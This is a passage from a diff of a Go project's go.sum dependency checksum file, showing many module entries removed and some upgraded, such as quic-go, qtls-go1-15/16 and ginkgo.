v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= -github.com/hashicorp/go-version v1.2.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= -github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90= -github.com/hashicorp/golang-lru v0.0.0-20180201235237-0fb14efe8c47 h1:UnszMmmmm5vLwWzDjTFVIkfhvWF1NdrmChl8L2NUDCw= -github.com/hashicorp/golang-lru v0.0.0-20180201235237-0fb14efe8c47/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= -github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= -github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= -github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ= -github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= -github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI= github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= -github.com/hudl/fargo v1.3.0/go.mod h1:y3CKSmjA+wD2gak7sUSXTAoopbhU08POFhmITJgmKTg= -github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= -github.com/influxdata/influxdb1-client v0.0.0-20191209144304-8bf82d3c094d/go.mod h1:qj24IKcXYK6Iy9ceXlo3Tc+vtHo9lIhSX5JddghvEPo= -github.com/its-a-feature/Mythic v0.0.0-20201216170834-c720e077e260 h1:XePosgeCcoxzEeKOsli1dSAKwSSqb816zcYzbLrE/fs= -github.com/its-a-feature/Mythic v0.0.0-20201216170834-c720e077e260/go.mod h1:85+m3zCY8nZnRH6bE0/h7nGtMqr2s4vr5zJ9zBrIfAM= github.com/jellevandenhooff/dkim v0.0.0-20150330215556-f50fe3d243e1/go.mod h1:E0B/fFc00Y+Rasa88328GlI/XbtyysCtTHZS8h7IrBU= -github.com/jinzhu/gorm v1.9.12 h1:Drgk1clyWT9t9ERbzHza6Mj/8FY/CqMyVzOiHviMo6Q= -github.com/jinzhu/gorm v1.9.12/go.mod h1:vhTjlKSJUTWNtcbQtrMBFCxy7eXTzeCAzfL5fBZT/Qs= -github.com/jinzhu/gorm v1.9.16 h1:+IyIjPEABKRpsu/F8OvDPy9fyQlgsg2luMV2ZIH5i5o= -github.com/jinzhu/gorm v1.9.16/go.mod h1:G3LB3wezTOWM2ITLzPxEXgSkOXAntiLHS7UdBefADcs= -github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E= -github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc= -github.com/jinzhu/now v1.0.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8= -github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k= -github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= -github.com/jordan-wright/email v4.0.1-0.20200824153738-3f5bafa1cd84+incompatible h1:d60x4RsAHk/UX/0OT8Gc6D7scVvhBbEANpTAWrDhA/I= -github.com/jordan-wright/email v4.0.1-0.20200824153738-3f5bafa1cd84+incompatible/go.mod h1:1c7szIrayyPPB/987hsnvNzLushdWf4o/79s3P08L8A= -github.com/jordan-wright/unindexed v0.0.0-20181209214434-78fa79113c0f h1:bYVTBvVHcAYDkH8hyVMRUW7J2mYQNNSmQPXGadYd1nY= -github.com/jordan-wright/unindexed v0.0.0-20181209214434-78fa79113c0f/go.mod h1:eRt05O5haIXGKGodWjpQ2xdgBHTE7hg/pzsukNi9IRA= -github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= -github.com/json-iterator/go v1.1.7/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= -github.com/json-iterator/go v1.1.8/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= -github.com/json-iterator/go v1.1.10 h1:Kz6Cvnvv2wGdaG/V8yMvfkmNiXq9Ya2KUv4rouJJr68= -github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= -github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= -github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= -github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= -github.com/kardianos/govendor v1.0.9 h1:WOH3FcVI9eOgnIZYg96iwUwrL4eOVx+aQ66oyX2R8Yc= -github.com/kardianos/govendor v1.0.9/go.mod h1:yvmR6q9ZZ7nSF5Wvh40v0wfP+3TwwL8zYQp+itoZSVM= -github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/gotool v1.0.0 h1:AV2c/EiW3KqPNT9ZKl07ehoAGi4C5/01Cfbblndcapg= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= -github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= -github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= -github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0 h1:s5hAObm+yFO5uHYt5dYjxi2rXrsnmRpJx4OYvIWUaQs= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.3/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= -github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= -github.com/kylelemons/go-gypsy v0.0.0-20160905020020-08cad365cd28 h1:mkl3tvPHIuPaWsLtmHTybJeoVEW7cbePK73Ir8VtruA= -github.com/kylelemons/go-gypsy v0.0.0-20160905020020-08cad365cd28/go.mod h1:T/T7jsxVqf9k/zYOqbgNAsANsjxTd1Yq3htjDhQ1H0c= -github.com/kylelemons/go-gypsy v1.0.0 h1:7/wQ7A3UL1bnqRMnZ6T8cwCOArfZCxFmb1iTxaOOo1s= -github.com/kylelemons/go-gypsy v1.0.0/go.mod h1:chkXM0zjdpXOiqkCW1XcCHDfjfk14PH2KKkQWxfJUcU= -github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= -github.com/lib/pq v1.1.1 h1:sJZmqHoEaY7f+NPP8pgLB/WxulyR3fewgCM2qaSlBb4= -github.com/lib/pq v1.1.1/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= -github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= -github.com/lib/pq v1.8.0 h1:9xohqzkUwzR4Ga4ivdTcawVS89YSDVxXMa3xJX3cGzg= -github.com/lib/pq v1.8.0/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= -github.com/lightstep/lightstep-tracer-common/golang/gogo v0.0.0-20190605223551-bc2310a04743/go.mod h1:qklhhLq1aX+mtWk9cPHPzaBjWImj5ULL6C7HFJtXQMM= -github.com/lightstep/lightstep-tracer-go v0.18.1/go.mod h1:jlF1pusYV4pidLvZ+XD0UBX0ZE6WURAspgAczcDHrL4= -github.com/lucas-clemente/aes12 v0.0.0-20171027163421-cd47fb39b79f h1:sSeNEkJrs+0F9TUau0CgWTTNEwF23HST3Eq0A+QIx+A= -github.com/lucas-clemente/aes12 v0.0.0-20171027163421-cd47fb39b79f/go.mod h1:JpH9J1c9oX6otFSgdUHwUBUizmKlrMjxWnIAjff4m04= -github.com/lucas-clemente/quic-clients v0.1.0/go.mod h1:y5xVIEoObKqULIKivu+gD/LU90pL73bTdtQjPBvtCBk= -github.com/lucas-clemente/quic-go v0.8.0 h1:35pBTXknOhbz5V+cgXuBDFrmxcgHW6ESbVyoGuXhgFM= -github.com/lucas-clemente/quic-go v0.8.0/go.mod h1:wuD+2XqEx8G9jtwx5ou2BEYBsE+whgQmlj0Vz/77PrY= -github.com/lucas-clemente/quic-go v0.10.2 h1:iQtTSZVbd44k94Lu0U16lLBIG3lrnjDvQongjPd4B/s= -github.com/lucas-clemente/quic-go v0.10.2/go.mod h1:hvaRS9IHjFLMq76puFJeWNfmn+H70QZ/CXoxqw9bzao= -github.com/lucas-clemente/quic-go v0.11.0 h1:R7uxGrBWWSp817cdhkrunFsOA26vadf4EI9slWzkjlQ= -github.com/lucas-clemente/quic-go v0.11.0/go.mod h1:PpMmPfPKO9nKJ/psF49ESTAGQSdfXxlg1otPbEB2nOw= -github.com/lucas-clemente/quic-go v0.11.2 h1:Mop0ac3zALaBR3wGs6j8OYe/tcFvFsxTUFMkE/7yUOI= -github.com/lucas-clemente/quic-go v0.11.2/go.mod h1:PpMmPfPKO9nKJ/psF49ESTAGQSdfXxlg1otPbEB2nOw= -github.com/lucas-clemente/quic-go v0.17.3 h1:jMX/MmDNCljfisgMmPGUcBJ+zUh9w3d3ia4YJjYS3TM= -github.com/lucas-clemente/quic-go v0.17.3/go.mod h1:I0+fcNTdb9eS1ZcjQZbDVPGchJ86chcIxPALn9lEJqE= -github.com/lucas-clemente/quic-go v0.18.0 h1:JhQDdqxdwdmGdKsKgXi1+coHRoGhvU6z0rNzOJqZ/4o= -github.com/lucas-clemente/quic-go-certificates v0.0.0-20160823095156-d2f86524cced h1:zqEC1GJZFbGZA0tRyNZqRjep92K5fujFtFsu5ZW7Aug= -github.com/lucas-clemente/quic-go-certificates v0.0.0-20160823095156-d2f86524cced/go.mod h1:NCcRLrOTZbzhZvixZLlERbJtDtYsmMw8Jc4vS8Z0g58= +github.com/lucas-clemente/quic-go v0.20.1 h1:hb5m76V8QS/8Nw/suHvXqo3BMHAozvIkcnzpJdpanSk= +github.com/lucas-clemente/quic-go v0.20.1/go.mod h1:fZq/HUDIM+mW6X6wtzORjC0E/WDBMKe5Hf9bgjISwLk= github.com/lunixbochs/vtclean v1.0.0/go.mod h1:pHhQNgMf3btfWnGBVipUOjRYhoOsdGqdm/+2c2E2WMI= -github.com/lyft/protoc-gen-validate v0.0.13/go.mod h1:XbGvPuh87YZc5TdIa2/I4pLk0QoUACkjt2znoq26NVQ= -github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/mailru/easyjson v0.0.0-20190312143242-1de009706dbe h1:W/GaMY0y69G4cFlmsC6B9sbuo2fP8OFP1ABjt4kPz+w= github.com/mailru/easyjson v0.0.0-20190312143242-1de009706dbe/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= -github.com/marten-seemann/qpack v0.1.0 h1:/0M7lkda/6mus9B8u34Asqm8ZhHAAt9Ho0vniNuVSVg= -github.com/marten-seemann/qpack v0.1.0/go.mod h1:LFt1NU/Ptjip0C2CPkhimBz5CGE3WGDAUWqna+CNTrI= -github.com/marten-seemann/qtls v0.2.3 h1:0yWJ43C62LsZt08vuQJDK1uC1czUc3FJeCLPoNAI4vA= -github.com/marten-seemann/qtls v0.2.3/go.mod h1:xzjG7avBwGGbdZ8dTGxlBnLArsVKLvwmjgmPuiQEcYk= -github.com/marten-seemann/qtls v0.9.1 h1:O0YKQxNVPaiFgMng0suWEOY2Sb4LT2sRn9Qimq3Z1IQ= -github.com/marten-seemann/qtls v0.9.1/go.mod h1:T1MmAdDPyISzxlK6kjRr0pcZFBVd1OZbBb/j3cvzHhk= -github.com/marten-seemann/qtls v0.10.0 h1:ECsuYUKalRL240rRD4Ri33ISb7kAQ3qGDlrrl55b2pc= -github.com/marten-seemann/qtls v0.10.0/go.mod h1:UvMd1oaYDACI99/oZUYLzMCkBXQVT0aGm99sJhbT8hs= -github.com/martinlindhe/base36 v1.0.0/go.mod h1:+AtEs8xrBpCeYgSLoY/aJ6Wf37jtBuR0s35750M27+8= -github.com/mattn/go-colorable v0.0.7 h1:zh4kz16dcPG+l666m12h0+dO2HGnQ1ngy7crMErE2UU= -github.com/mattn/go-colorable v0.0.7/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= -github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= +github.com/marten-seemann/qpack v0.2.1 h1:jvTsT/HpCn2UZJdP+UUB53FfUUgeOyG5K1ns0OJOGVs= +github.com/marten-seemann/qpack v0.2.1/go.mod h1:F7Gl5L1jIgN1D11ucXefiuJS9UMVP2opoCp2jDKb7wc= +github.com/marten-seemann/qtls-go1-15 v0.1.4 h1:RehYMOyRW8hPVEja1KBVsFVNSm35Jj9Mvs5yNoZZ28A= +github.com/marten-seemann/qtls-go1-15 v0.1.4/go.mod h1:GyFwywLKkRt+6mfU99csTEY1joMZz5vmB1WNZH3P81I= +github.com/marten-seemann/qtls-go1-16 v0.1.3 h1:XEZ1xGorVy9u+lJq+WXNE+hiqRYLNvJGYmwfwKQN2gU= +github.com/marten-seemann/qtls-go1-16 v0.1.3/go.mod h1:gNpI2Ol+lRS3WwSOtIUUtRwZEQMXjYK+dQSBFbethAk= github.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU= github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= -github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= -github.com/mattn/go-isatty v0.0.4 h1:bnP0vzxcAdeI1zdubAl5PjU6zsERjGZb7raWodagDYs= -github.com/mattn/go-isatty v0.0.4/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= github.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= -github.com/mattn/go-runewidth v0.0.0-20170510074858-97311d9f7767 h1:Nk2R0tWpD2RdkQ+53zE6kWnSGuhQyDlnOs2MPiqVubE= -github.com/mattn/go-runewidth v0.0.0-20170510074858-97311d9f7767/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= -github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.4 h1:2BvfKmzob6Bmd4YsL0zygOqfdFnK7GR4QL06Do4/p7Y= github.com/mattn/go-runewidth v0.0.4/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= -github.com/mattn/go-shellwords v0.0.0-20181023065652-3c0603ff9671 h1:gXGolN/lvbSGdVo4CujRGEX00l28MQmQRrrdHZxZQTI= -github.com/mattn/go-shellwords v0.0.0-20181023065652-3c0603ff9671/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o= github.com/mattn/go-shellwords v1.0.5 h1:JhhFTIOslh5ZsPrpa3Wdg8bF0WI3b44EMblmU9wIsXc= github.com/mattn/go-shellwords v1.0.5/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o= -github.com/mattn/go-sqlite3 v1.14.0/go.mod h1:JIl7NbARA7phWnGvh0LKTyg7S9BA+6gx71ShQilpsus= -github.com/mattn/go-sqlite3 v1.14.3 h1:j7a/xn1U6TKA/PHHxqZuzh64CdtRc7rU9M+AvkOl5bA= -github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI= -github.com/mattn/go-sqlite3 v2.0.1+incompatible/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc= -github.com/mattn/go-sqlite3 v2.0.3+incompatible h1:gXHsfypPkaMZrKbD5209QV9jbUTJKjyR5WD3HYQSd+U= -github.com/mattn/go-sqlite3 v2.0.3+incompatible/go.mod h1:FPy6KqzDD04eiIsT53CuJW3U88zkxoIYsOqkbpncsNc= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/microcosm-cc/bluemonday v1.0.1/go.mod h1:hsXNsILzKxV+sX77C5b8FSuKF00vh2OMYv+xgHpAMF4= -github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= -github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= -github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= -github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= -github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg= -github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY= -github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= -github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= -github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= -github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.1 h1:9f412s+6RmYXLWZSEzVVgPGK7C2PphHj5RJrvfx9AWI= github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= -github.com/mozilla/tls-observatory v0.0.0-20190404164649-a3c1b6cfecfd/go.mod h1:SrKMQvPiws7F7iqYp8/TX+IhxCYhzr6N/1yb8cwHsGk= -github.com/mozilla/tls-observatory v0.0.0-20200317151703-4fa42e1c2dee h1:1xJ+Xi9lYWLaaP4yB67ah0+548CD3110mCPWhVVjFkI= -github.com/mozilla/tls-observatory v0.0.0-20200317151703-4fa42e1c2dee/go.mod h1:SrKMQvPiws7F7iqYp8/TX+IhxCYhzr6N/1yb8cwHsGk= -github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= -github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= -github.com/nats-io/jwt v0.3.0/go.mod h1:fRYCDE99xlTsqUzISS1Bi75UBJ6ljOJQOAAu5VglpSg= -github.com/nats-io/jwt v0.3.2/go.mod h1:/euKqTS1ZD+zzjYrY7pseZrTtWQSjujC7xjPc8wL6eU= -github.com/nats-io/nats-server/v2 v2.1.2/go.mod h1:Afk+wRZqkMQs/p45uXdrVLuab3gwv3Z8C4HTBu8GD/k= -github.com/nats-io/nats.go v1.9.1/go.mod h1:ZjDU1L/7fJ09jvUSRVBR2e7+RnLiiIQyqyzEE/Zbp4w= -github.com/nats-io/nkeys v0.1.0/go.mod h1:xpnFELMwJABBLVhffcfd1MZx6VsNRFpEugbxziKVo7w= -github.com/nats-io/nkeys v0.1.3/go.mod h1:xpnFELMwJABBLVhffcfd1MZx6VsNRFpEugbxziKVo7w= -github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c= -github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d h1:AREM5mwr4u1ORQBMvzfzBgpsctsbQikCVpvC+tX285E= -github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96djdrsSGy3AWPyBgZMAGfxZNfgntdJG+11KU4QvbU= github.com/neelance/astrewrite v0.0.0-20160511093645-99348263ae86/go.mod h1:kHJEU3ofeGjhHklVoIGuVj85JJwZ6kWPaJwCIxgnFmo= github.com/neelance/sourcemap v0.0.0-20151028013722-8c68805598ab/go.mod h1:Qr6/a/Q4r9LP1IltGz7tA7iOK1WonHEYhu1HRBA7ZiM= -github.com/oklog/oklog v0.3.2/go.mod h1:FCV+B7mhrz4o+ueLpx+KqkyXRGMWOYEvfiXtdGtbWGs= -github.com/oklog/run v1.0.0/go.mod h1:dlhp/R75TPv97u0XWUtDeV/lRKWPKSdTuV0TZvrmrQA= -github.com/olekukonko/tablewriter v0.0.0-20170122224234-a0225b3f23b5/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo= -github.com/olekukonko/tablewriter v0.0.0-20180130162743-b8a9be070da4 h1:Mm4XQCBICntJzH8fKglsRuEiFUJYnTnM4BBFvpP5BWs= -github.com/olekukonko/tablewriter v0.0.0-20180130162743-b8a9be070da4/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo= +github.com/nxadm/tail v1.4.4 h1:DQuhQpB1tVlglWS2hLQ5OV6B5r8aGxSrPc5Qo6uTN78= +github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= github.com/olekukonko/tablewriter v0.0.1 h1:b3iUnf1v+ppJiOfNX4yxxqfWKMQPZR5yoh8urCTFX88= github.com/olekukonko/tablewriter v0.0.1/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo= github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= -github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= -github.com/onsi/ginkgo v1.8.0 h1:VkHVNpR4iVnU8XQR6DBm8BqYjN7CRzw+xKUbVVbbW9w= -github.com/onsi/ginkgo v1.8.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= -github.com/onsi/ginkgo v1.11.0 h1:JAKSXpt1YjtLA7YpPiqO9ss6sNXEsPfSGdwN0UHqzrw= -github.com/onsi/ginkgo v1.11.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= -github.com/onsi/ginkgo v1.12.0 h1:Iw5WCbBcaAAd0fpRb1c9r5YCylv4XDoCSigm1zLevwU= -github.com/onsi/ginkgo v1.12.0/go.mod h1:oUhWkIvk5aDxtKvDDuw8gItl8pKl42LzjC9KZE0HfGg= -github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= -github.com/onsi/gomega v1.5.0 h1:izbySO9zDPmjJ8rDjLvkA2zJHIo+HkYXHnf7eN7SSyo= -github.com/onsi/gomega v1.5.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY= +github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk= +github.com/onsi/ginkgo v1.14.0 h1:2mOpI4JVVPBN+WQRa0WKH2eXR+Ey+uK4n7Zj0aYpIQA= +github.com/onsi/ginkgo v1.14.0/go.mod h1:iSB4RoI2tjJc9BBv4NKIKWKya62Rps+oPG/Lv9klQyY= github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= -github.com/onsi/gomega v1.8.1 h1:C5Dqfs/LeauYDX0jJXIe2SWmwCbGzx9yF8C8xy3Lh34= -github.com/onsi/gomega v1.8.1/go.mod h1:Ho0h+IUsWyvy1OpqCwxlQ/21gkhVunqlU8fDGcoTdcA= -github.com/onsi/gomega v1.9.0 h1:R1uwffexN6Pr340GtYRIdZmAiN4J+iw6WG4wog1DUXg= -github.com/onsi/gomega v1.9.0/go.mod h1:Ho0h+IUsWyvy1OpqCwxlQ/21gkhVunqlU8fDGcoTdcA= -github.com/op/go-logging v0.0.0-20160315200505-970db520ece7/go.mod h1:HzydrMdWErDVzsI23lYNej1Htcns9BCg93Dk0bBINWk= -github.com/opentracing-contrib/go-observer v0.0.0-20170622124052-a52f23424492/go.mod h1:Ngi6UdF0k5OKD5t5wlmGhe/EDKPoUM3BXZSSfIuJbis= -github.com/opentracing/basictracer-go v1.0.0/go.mod h1:QfBfYuafItcjQuMwinw9GhYKwFXS9KnPs5lxoYwgW74= -github.com/opentracing/opentracing-go v1.0.2/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= -github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= -github.com/openzipkin-contrib/zipkin-go-opentracing v0.4.5/go.mod h1:/wsWhb9smxSfWAKL3wpBW7V8scJMt8N8gnaMCS9E/cA= +github.com/onsi/gomega v1.10.1 h1:o0+MgICZLuZ7xjH7Vx6zS/zcu93/BEp1VwkIW1mEXCE= +github.com/onsi/gomega v1.10.1/go.mod 